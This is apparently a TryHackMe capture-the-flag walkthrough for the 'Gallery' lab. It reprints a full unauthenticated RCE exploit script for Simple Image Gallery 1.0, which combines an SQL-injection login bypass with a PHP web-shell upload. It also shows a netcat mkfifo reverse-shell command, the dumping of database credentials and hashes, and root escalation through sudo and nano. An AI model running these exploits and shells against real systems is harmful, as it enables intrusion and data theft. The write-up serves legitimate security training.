Introduction
Challenge Name: Gallery
Difficulty: Easy
Nmap Enumeration
Command :
$ sudo nmap -A -T4 --open -p- 10.10.17.83 -oN Gallery.nmap
Output :
# Nmap 7.92 scan initiated Thu Sep 15 01:55:38 2022 as: nmap -A -T4 --open -p- -oN Gallery.nmap 10.10.17.83
Nmap scan report for 10.10.17.83
Host is up (0.19s latency).
Not shown: 65516 closed tcp ports (reset), 17 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Simple Image Gallery System
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=9/15%OT=80%CT=1%CU=40259%PV=Y%DS=5%DC=T%G=Y%TM=6322393
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M506ST11NW6%O2=M506ST11NW6%O
OS:3=M506NNT11NW6%O4=M506ST11NW6%O5=M506ST11NW6%O6=M506ST11)WIN(W1=F4B3%W2=
OS:F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M506NNSN
OS:W6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 5 hops
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 38.77 ms 10.17.0.1
2 ... 4
5 238.24 ms 10.10.17.83
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 15 01:57:29 2022 -- 1 IP address (1 host up) scanned in 110.99 seconds
Q: How many ports are open?
A: 2
Q: What’s the name of the CMS?
A: Simple Image Gallery
Fetching the Exploit
Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated) -> Exploit
# Exploit Title: Simple Image Gallery 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 17.08.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/14903/simple-image-gallery-web-app-using-php-free-source-code.html
# Version: V 1.0
# Tested on: Ubuntu
import requests
import random
import string
import json
from bs4 import BeautifulSoup
url = input("TARGET = ")
if not url.startswith('http://') and not url.startswith('https://'):
url = "http://" + url
if not url.endswith('/'):
url = url + "/"
payload= "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>"
session = requests.session()
print("Login Bypass")
request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "admin' or '1'='1'#", "password": ""}
bypassUser = session.post(request_url, data=post_data)
data = json.loads(bypassUser.text)
status = data["status"]
if status == "success":
let = string.ascii_lowercase
shellname = ''.join(random.choice(let) for i in range(15))
shellname = 'Tago'+shellname+'Letta'
print("shell name "+shellname)
print("\nprotecting user")
request_url = url + "?page=user"
getHTML = session.get(request_url)
getHTMLParser = BeautifulSoup(getHTML.text, 'html.parser')
ids = getHTMLParser.find('input', {'name':'id'}).get("value")
firstname = getHTMLParser.find('input', {'id':'firstname'}).get("value")
lastname = getHTMLParser.find('input', {'id':'lastname'}).get("value")
username = getHTMLParser.find('input', {'id':'username'}).get("value")
print("\nUser ID : " + ids)
print("Firsname : " + firstname)
print("Lasname : " + lastname)
print("Username : " + username + "\n")
print("shell uploading")
request_url = url + "/classes/Users.php?f=save"
request_headers = {"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary9nI3gVmJoEZoZyeA"}
request_data = "------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ids+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+firstname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+lastname+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+username+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundary9nI3gVmJoEZoZyeA--\r\n"
upload = session.post(request_url, headers=request_headers, data=request_data)
if upload.text == "1":
print("- OK -")
req = session.get(url + "/?page=user")
parser = BeautifulSoup(req.text, 'html.parser')
find_shell = parser.find('img', {'id':'cimg'})
print("Shell URL : " + find_shell.get("src") + "?cmd=whoami")
else:
print("- NO :( -")
else:
print("No bypass user")
User Flag
Run the exploit
$ python3 exploit.py
TARGET = http://10.10.17.83/gallery/
Login Bypass
shell name TagoacenqkeozzskpfxLetta
protecting user
User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin
shell uploading
- OK -
Shell URL : http://10.10.17.83/gallery/uploads/1663192260_TagoacenqkeozzskpfxLetta.php?cmd=whoami
Get A Reverse Shell
$ curl 'http://10.10.17.83/gallery/uploads/1663192260_TagoacenqkeozzskpfxLetta.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20<THM IP>%20<PORT>%20%3E%2Ftmp%2Ff'
Get Admin Hash
$ cat initialize.php
<?php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
if(!defined('base_url')) define('base_url',"http://" . $_SERVER['SERVER_ADDR'] . "/gallery/");
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");
$ mysql -h 127.0.0.1 -u "gallery_user" -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 129656
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| gallery_db |
| information_schema |
+--------------------+
2 rows in set (0.01 sec)
MariaDB [(none)]> use gallery_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [gallery_db]> show tables;
+----------------------+
| Tables_in_gallery_db |
+----------------------+
| album_list |
| images |
| system_info |
| users |
+----------------------+
4 rows in set (0.00 sec)
MariaDB [gallery_db]> select * from users;
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
| id | firstname | lastname | username | password | avatar | last_login | type | date_added | date_updated |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
| 1 | Adminstrator | Admin | admin | a228b12a08b6527e7978cbe5d914531c | uploads/1663192260_TagoacenqkeozzskpfxLetta.php | NULL | 1 | 2021-01-20 14:02:37 | 2022-09-14 21:51:08 |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
1 row in set (0.01 sec)
Q: What’s the hash password of the admin user?
A: a228b12a08b6527e7978cbe5d914531c
Get User Flag
$ cd /var/backups/mike_home_backup
$ ls -la
total 36
drwxr-xr-x 5 root root 4096 May 24 2021 .
drwxr-xr-x 3 root root 4096 Sep 14 20:23 ..
-rwxr-xr-x 1 root root 135 May 24 2021 .bash_history
-rwxr-xr-x 1 root root 220 May 24 2021 .bash_logout
-rwxr-xr-x 1 root root 3772 May 24 2021 .bashrc
drwxr-xr-x 3 root root 4096 May 24 2021 .gnupg
-rwxr-xr-x 1 root root 807 May 24 2021 .profile
drwxr-xr-x 2 root root 4096 May 24 2021 documents
drwxr-xr-x 2 root root 4096 May 24 2021 images
$ cat .bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit
$ su mike -l
Password:
mike@gallery:~$ cat user.txt
THM{xxxx-xxx-xxx-xxxx}
Escalating to Root
Checking Sudo Privileges
$ sudo -l
Matching Defaults entries for mike on gallery:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mike may run the following commands on gallery:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
$ cat /opt/rootkit.sh
#!/bin/bash
read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;
# Execute your choice
case $ans in
versioncheck)
/usr/bin/rkhunter --versioncheck ;;
update)
/usr/bin/rkhunter --update;;
list)
/usr/bin/rkhunter --list;;
read)
/bin/nano /root/report.txt;;
*)
exit;;
esac
Get Root Flag
- Run
sudo /bin/bash /opt/rootkit.sh
- Type in
read
$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
- Read
/root/root.txt
using commandnano
to execute commands